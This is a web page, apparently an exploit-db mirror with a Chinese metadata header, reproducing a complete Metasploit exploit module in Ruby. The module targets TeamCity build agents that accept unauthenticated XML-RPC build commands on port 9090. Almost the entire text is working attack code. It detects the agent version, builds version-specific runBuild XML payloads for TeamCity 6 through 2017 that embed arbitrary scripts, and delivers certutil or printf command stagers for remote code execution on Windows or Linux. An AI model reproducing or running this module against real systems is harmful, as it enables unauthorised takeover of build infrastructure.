TeamCity Agent – XML-RPC Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-11-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45917/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'TeamCity Agent XML-RPC Command Execution',
    'Description'=> %q(
    This module allows remote code execution on TeamCity Agents configured
    to use bidirectional communication via xml-rpc. In bidirectional mode
    the TeamCity server pushes build commands to the Build Agents over port
    TCP/9090 without requiring authentication. Up until version 10 this was
    the default configuration. This module supports TeamCity agents from
    version 6.0 onwards.
    ),
    'Author' => ['Dylan Pindur <dylanpindur@gmail.com>'],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['URL', 'https://www.tenable.com/plugins/nessus/94675']
    ],
    'Platform' => %w[linux win],
    'Targets'=>
    [
    ['Windows', { 'Platform' => 'win' }],
    ['Linux', { 'Platform' => 'linux' }]
    ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Apr 14 2015'))
    
    deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
    register_options(
    [
    Opt::RPORT(9090),
    OptString.new(
    'CMD',
    [false, 'Execute this command instead of using command stager', '']
    )
    ]
    )
    end
    
    def check
    version = determine_version
    if !version.nil? && version >= 15772
    Exploit::CheckCode::Appears
    else
    Exploit::CheckCode::Safe
    end
    end
    
    def exploit
    version = determine_version
    if version.nil?
    fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
    else
    print_status("Found TeamCity Agent running build version #{version}")
    end
    
    unless datastore['CMD'].blank?
    print_status('Executing user supplied command')
    execute_command(datastore['CMD'], version)
    return
    end
    
    case target['Platform']
    when 'linux'
    linux_stager(version)
    when 'win'
    windows_stager(version)
    else
    fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end
    end
    
    def windows_stager(version)
    print_status('Constructing Windows payload')
    
    stager = generate_cmdstager(
    flavor: :certutil,
    temp: '.',
    concat_operator: "\n",
    nodelete: true
    ).join("\n")
    stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')
    
    xml_payload = build_request(stager, version)
    if xml_payload.nil?
    fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end
    
    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
    end
    
    def linux_stager(version)
    print_status('Constructing Linux payload')
    
    stager = generate_cmdstager(
    flavor: :printf,
    temp: '.',
    concat_operator: "\n",
    nodelete: true
    ).join("\n")
    stager << ' &'
    
    xml_payload = build_request(stager, version)
    if xml_payload.nil?
    fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end
    
    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
    end
    
    def execute_command(cmd, version)
    xml_payload = build_request(cmd, version)
    
    if xml_payload.nil?
    fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end
    
    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
    end
    
    def determine_version
    xml_payload = %(
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>buildAgent.getVersion</methodName>
    <params></params>
    </methodCall>
    )
    res = send_request_cgi(
    {
    'uri'=> '/',
    'method' => 'POST',
    'ctype'=> 'text/xml',
    'data' => xml_payload.strip!
    },
    10
    )
    
    if !res.nil? && res.code == 200
    xml_doc = res.get_xml_document
    if xml_doc.errors.empty?
    val = xml_doc.xpath('/methodResponse/params/param/value')
    if val.length == 1
    return val.text.to_i
    end
    end
    end
    return nil
    end
    
    def send_request(xml_payload)
    res = send_request_cgi(
    {
    'uri'=> '/',
    'method' => 'POST',
    'ctype'=> 'text/xml',
    'data' => xml_payload
    },
    10
    )
    
    if !res.nil? && res.code == 200
    print_status("Successfully sent build configuration")
    else
    print_status("Failed to send build configuration")
    end
    end
    
    def build_request(script_content, version)
    case version
    when 0..15771
    return nil
    when 15772..17794
    return req_teamcity_6(script_content)
    when 17795..21240
    return req_teamcity_6_5(script_content)
    when 21241..27401
    return req_teamcity_7(script_content)
    when 27402..32059
    return req_teamcity_8(script_content)
    when 32060..42001
    return req_teamcity_9(script_content)
    when 42002..46532
    return req_teamcity_10(script_content)
    else
    return req_teamcity_2017(script_content)
    end
    end
    
    def req_teamcity_2017(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>buildAgent.runBuild</methodName>
    <params>
    <param>
    <value>
    <![CDATA[
    <AgentBuild>
    <myBuildId>#{build_id}</myBuildId>
    <myBuildTypeId>x</myBuildTypeId>
    <myBuildTypeExternalId>x</myBuildTypeExternalId>
    <myCheckoutType>ON_AGENT</myCheckoutType>
    <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
    <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
    <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
    <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
    <myServerParameters class="StringTreeMap">
    <k>system.build.number</k>
    <v>0</v>
    </myServerParameters>
    <myAccessCode/>
    <myArtifactDependencies/>
    <myArtifactPaths/>
    <myArtifactStorageSettings/>
    <myBuildFeatures/>
    <myBuildTypeOptions/>
    <myFullCheckoutReasons/>
    <myParametersSpecs class="StringTreeMap"/>
    <myPersonalVcsChanges/>
    <myUserBuildParameters/>
    <myVcsChanges/>
    <myVcsRootCurrentRevisions class="tree-map"/>
    <myVcsRootEntries/>
    <myVcsRootOldRevisions class="tree-map"/>
    <myBuildRunners>
    <jetbrains.buildServer.agentServer.BuildRunnerData>
    <myId>x</myId>
    <myIsDisabled>false</myIsDisabled>
    <myRunType>simpleRunner</myRunType>
    <myRunnerName>x</myRunnerName>
    <myChildren class="list"/>
    <myServerParameters class="tree-map">
    <entry>
    <string>teamcity.build.step.name</string>
    <string>x</string>
    </entry>
    </myServerParameters>
    <myRunnerParameters class="tree-map">
    <entry>
    <string>script.content</string>
    <string>#{script_content}</string>
    </entry>
    <entry>
    <string>teamcity.step.mode</string>
    <string>default</string>
    </entry>
    <entry>
    <string>use.custom.script</string>
    <string>true</string>
    </entry>
    </myRunnerParameters>
    </jetbrains.buildServer.agentServer.BuildRunnerData>
    </myBuildRunners>
    </AgentBuild>
    ]]>
    </value>
    </param>
    </params>
    </methodCall>
    )
    return xml_payload.strip!
    end
    
    def req_teamcity_10(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>buildAgent.runBuild</methodName>
    <params>
    <param>
    <value>
    <![CDATA[
    <AgentBuild>
    <myBuildId>#{build_id}</myBuildId>
    <myBuildTypeId>x</myBuildTypeId>
    <myBuildTypeExternalId>x</myBuildTypeExternalId>
    <myCheckoutType>ON_AGENT</myCheckoutType>
    <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
    <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
    <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
    <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
    <myServerParameters class="StringTreeMap">
    <k>system.build.number</k>
    <v>0</v>
    </myServerParameters>
    <myAccessCode/>
    <myArtifactDependencies/>
    <myArtifactPaths/>
    <myBuildFeatures/>
    <myBuildTypeOptions/>
    <myFullCheckoutReasons/>
    <myParametersSpecs class="StringTreeMap"/>
    <myPersonalVcsChanges/>
    <myUserBuildParameters/>
    <myVcsChanges/>
    <myVcsRootCurrentRevisions class="tree-map"/>
    <myVcsRootEntries/>
    <myVcsRootOldRevisions class="tree-map"/>
    <myBuildRunners>
    <jetbrains.buildServer.agentServer.BuildRunnerData>
    <myId>x</myId>
    <myIsDisabled>false</myIsDisabled>
    <myRunType>simpleRunner</myRunType>
    <myRunnerName>x</myRunnerName>
    <myChildren class="list"/>
    <myServerParameters class="tree-map">
    <entry>
    <string>teamcity.build.step.name</string>
    <string>x</string>
    </entry>
    </myServerParameters>
    <myRunnerParameters class="tree-map">
    <entry>
    <string>script.content</string>
    <string>#{script_content}</string>
    </entry>
    <entry>
    <string>teamcity.step.mode</string>
    <string>default</string>
    </entry>
    <entry>
    <string>use.custom.script</string>
    <string>true</string>
    </entry>
    </myRunnerParameters>
    </jetbrains.buildServer.agentServer.BuildRunnerData>
    </myBuildRunners>
    </AgentBuild>
    ]]>
    </value>
    </param>
    </params>
    </methodCall>
    )
    return xml_payload.strip!
    end
    
    def req_teamcity_9(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>buildAgent.runBuild</methodName>
    <params>
    <param>
    <value>
    <![CDATA[
    <AgentBuild>
    <myBuildId>#{build_id}</myBuildId>
    <myBuildTypeId>x</myBuildTypeId>
    <myBuildTypeExternalId>x</myBuildTypeExternalId>
    <myCheckoutType>ON_AGENT</myCheckoutType>
    <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
    <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
    <myServerParameters class="StringTreeMap">
    <k>system.build.number</k>
    <v>0</v>
    </myServerParameters>
    <myAccessCode/>
    <myArtifactDependencies/>
    <myArtifactPaths/>
    <myBuildFeatures/>
    <myBuildTypeOptions/>
    <myFullCheckoutReasons/>
    <myPersonalVcsChanges/>
    <myUserBuildParameters/>
    <myVcsChanges/>
    <myVcsRootCurrentRevisions class="tree-map"/>
    <myVcsRootEntries/>
    <myVcsRootOldRevisions class="tree-map"/>
    <myBuildRunners>
    <jetbrains.buildServer.agentServer.BuildRunnerData>
    <myId>x</myId>
    <myIsDisabled>false</myIsDisabled>
    <myRunType>simpleRunner</myRunType>
    <myRunnerName>x</myRunnerName>
    <myChildren class="list"/>
    <myServerParameters class="tree-map">
    <entry>
    <string>teamcity.build.step.name</string>
    <string>x</string>
    </entry>
    </myServerParameters>
    <myRunnerParameters class="tree-map">
    <entry>
    <string>script.content</string>
    <string>#{script_content}</string>
    </entry>
    <entry>
    <string>teamcity.step.mode</string>
    <string>default</string>
    </entry>
    <entry>
    <string>use.custom.script</string>
    <string>true</string>
    </entry>
    </myRunnerParameters>
    </jetbrains.buildServer.agentServer.BuildRunnerData>
    </myBuildRunners>
    </AgentBuild>
    ]]>
    </value>
    </param>
    </params>
    </methodCall>
    )
    return xml_payload.strip!
    end
    
    def req_teamcity_8(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>buildAgent.runBuild</methodName>
    <params>
    <param>
    <value>
    <![CDATA[
    <AgentBuild>
    <myBuildId>#{build_id}</myBuildId>
    <myBuildTypeId>x</myBuildTypeId>
    <myCheckoutType>ON_AGENT</myCheckoutType>
    <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
    <myServerParameters class="tree-map">
    <entry>
    <string>system.build.number</string>
    <string>0</string>
    </entry>
    </myServerParameters>
    <myAccessCode/>
    <myArtifactDependencies/>
    <myArtifactPaths/>
    <myBuildTypeOptions/>
    <myFullCheckoutReasons/>
    <myPersonalVcsChanges/>
    <myUserBuildParameters/>
    <myVcsChanges/>
    <myVcsRootCurrentRevisions class="tree-map"/>
    <myVcsRootEntries/>
    <myVcsRootOldRevisions class="tree-map"/>
    <myBuildRunners>
    <jetbrains.buildServer.agentServer.BuildRunnerData>
    <myId>x</myId>
    <myIsDisabled>false</myIsDisabled>
    <myRunType>simpleRunner</myRunType>
    <myRunnerName>x</myRunnerName>
    <myChildren class="list"/>
    <myServerParameters class="tree-map">
    <entry>
    <string>teamcity.build.step.name</string>
    <string>x</string>
    </entry>
    </myServerParameters>
    <myRunnerParameters class="tree-map">
    <entry>
    <string>script.content</string>
    <string>#{script_content}</string>
    </entry>
    <entry>
    <string>teamcity.step.mode</string>
    <string>default</string>
    </entry>
    <entry>
    <string>use.custom.script</string>
    <string>true</string>
    </entry>
    </myRunnerParameters>
    </jetbrains.buildServer.agentServer.BuildRunnerData>
    </myBuildRunners>
    <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
    <myBuildFeatures/>
    </AgentBuild>
    ]]>
    </value>
    </param>
    </params>
    </methodCall>
    )
    return xml_payload.strip!
    end
    
    def req_teamcity_7(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>buildAgent.runBuild</methodName>
    <params>
    <param>
    <value>
    <![CDATA[
    <AgentBuild>
    <myBuildId>#{build_id}</myBuildId>
    <myBuildTypeId>x</myBuildTypeId>
    <myCheckoutType>ON_AGENT</myCheckoutType>
    <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
    <myServerParameters class="tree-map">
    <no-comparator/>
    <entry>
    <string>system.build.number</string>
    <string>0</string>
    </entry>
    </myServerParameters>
    <myVcsRootOldRevisions class="tree-map">
    <no-comparator/>
    </myVcsRootOldRevisions>
    <myVcsRootCurrentRevisions class="tree-map">
    <no-comparator/>
    </myVcsRootCurrentRevisions>
    <myAccessCode/>
    <myArtifactDependencies/>
    <myArtifactPaths/>
    <myBuildTypeOptions/>
    <myFullCheckoutReasons/>
    <myPersonalVcsChanges/>
    <myUserBuildParameters/>
    <myVcsChanges/>
    <myVcsRootEntries/>
    <myBuildRunners>
    <jetbrains.buildServer.agentServer.BuildRunnerData>
    <myRunType>simpleRunner</myRunType>
    <myRunnerName>x</myRunnerName>
    <myRunnerParameters class="tree-map">
    <no-comparator/>
    <entry>
    <string>script.content</string>
    <string>#{script_content}</string>
    </entry>
    <entry>
    <string>teamcity.step.mode</string>
    <string>default</string>
    </entry>
    <entry>
    <string>use.custom.script</string>
    <string>true</string>
    </entry>
    </myRunnerParameters>
    <myServerParameters class="tree-map">
    <no-comparator/>
    <entry>
    <string>teamcity.build.step.name</string>
    <string>x</string>
    </entry>
    </myServerParameters>
    </jetbrains.buildServer.agentServer.BuildRunnerData>
    </myBuildRunners>
    <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
    <myBuildFeatures/>
    </AgentBuild>
    ]]>
    </value>
    </param>
    </params>
    </methodCall>
    )
    return xml_payload.strip!
    end
    
    def req_teamcity_6_5(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>buildAgent.run</methodName>
    <params>
    <param>
    <value>
    <![CDATA[
    <AgentBuild>
    <myBuildId>#{build_id}</myBuildId>
    <myBuildTypeId>x</myBuildTypeId>
    <myPersonal>false</myPersonal>
    <myCheckoutType>ON_AGENT</myCheckoutType>
    <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
    <myServerParameters class="tree-map">
    <no-comparator/>
    <entry>
    <string>system.build.number</string>
    <string>0</string>
    </entry>
    </myServerParameters>
    <myVcsRootOldRevisions class="tree-map">
    <no-comparator/>
    </myVcsRootOldRevisions>
    <myVcsRootCurrentRevisions class="tree-map">
    <no-comparator/>
    </myVcsRootCurrentRevisions>
    <myAccessCode/>
    <myArtifactDependencies/>
    <myBuildTypeOptions/>
    <myPersonalVcsChanges/>
    <myUserBuildParameters/>
    <myVcsChanges/>
    <myVcsRootEntries/>
    <myBuildRunners>
    <jetbrains.buildServer.agentServer.BuildRunnerData>
    <myRunType>simpleRunner</myRunType>
    <myRunnerName>x</myRunnerName>
    <myRunnerParameters class="tree-map">
    <no-comparator/>
    <entry>
    <string>script.content</string>
    <string>#{script_content}</string>
    </entry>
    <entry>
    <string>use.custom.script</string>
    <string>true</string>
    </entry>
    </myRunnerParameters>
    <myServerParameters class="tree-map">
    <no-comparator/>
    </myServerParameters>
    </jetbrains.buildServer.agentServer.BuildRunnerData>
    </myBuildRunners>
    </AgentBuild>
    ]]>
    </value>
    </param>
    </params>
    </methodCall>
    )
    return xml_payload.strip!
    end
    
    def req_teamcity_6(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>buildAgent.run</methodName>
    <params>
    <param>
    <value>
    <![CDATA[
    <AgentBuild>
    <myBuildId>#{build_id}</myBuildId>
    <myBuildTypeId>x</myBuildTypeId>
    <myAccessCode></myAccessCode>
    <myPersonal>false</myPersonal>
    <myCheckoutType>ON_AGENT</myCheckoutType>
    <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
    <myServerParameters class="tree-map">
    <no-comparator/>
    <entry>
    <string>system.build.number</string>
    <string>0</string>
    </entry>
    </myServerParameters>
    <myVcsRootOldRevisions class="tree-map">
    <no-comparator/>
    </myVcsRootOldRevisions>
    <myVcsRootCurrentRevisions class="tree-map">
    <no-comparator/>
    </myVcsRootCurrentRevisions>
    <myArtifactDependencies/>
    <myBuildTypeOptions/>
    <myPersonalVcsChanges/>
    <myUserBuildParameters/>
    <myVcsChanges/>
    <myVcsRootEntries/>
    <myBuildRunners>
    <jetbrains.buildServer.agentServer.BuildRunnerData>
    <myRunType>simpleRunner</myRunType>
    <myServerParameters class="tree-map">
    <no-comparator/>
    </myServerParameters>
    <myRunnerParameters class="tree-map">
    <no-comparator/>
    <entry>
    <string>script.content</string>
    <string>#{script_content}</string>
    </entry>
    <entry>
    <string>use.custom.script</string>
    <string>true</string>
    </entry>
    </myRunnerParameters>
    </jetbrains.buildServer.agentServer.BuildRunnerData>
    </myBuildRunners>
    </AgentBuild>
    ]]>
    </value>
    </param>
    </params>
    </methodCall>
    )
    return xml_payload.strip!
    end
    end